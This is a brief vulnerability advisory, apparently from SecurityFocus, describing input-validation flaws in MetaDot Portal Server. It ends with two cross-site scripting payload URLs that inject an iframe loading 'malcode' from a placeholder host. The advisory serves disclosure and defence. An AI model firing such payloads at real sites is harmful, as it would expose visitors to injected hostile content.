source: https://www.securityfocus.com/bid/9439/info
  
A number of vulnerabilities have been found in all version of MetaDot Corporation's MetaDot Portal Server. Due to a failure of the software to properly validate user input, an attacker may be able to corrupt data, force the server to disclose system configuration information or initiate cross-site scripting.

/index.pl?isa=XSS<iframe%20src=http://www.example.com/malcode>
/index.pl?iid='"><iframe%20src=http://www.exmaple.com/malcode>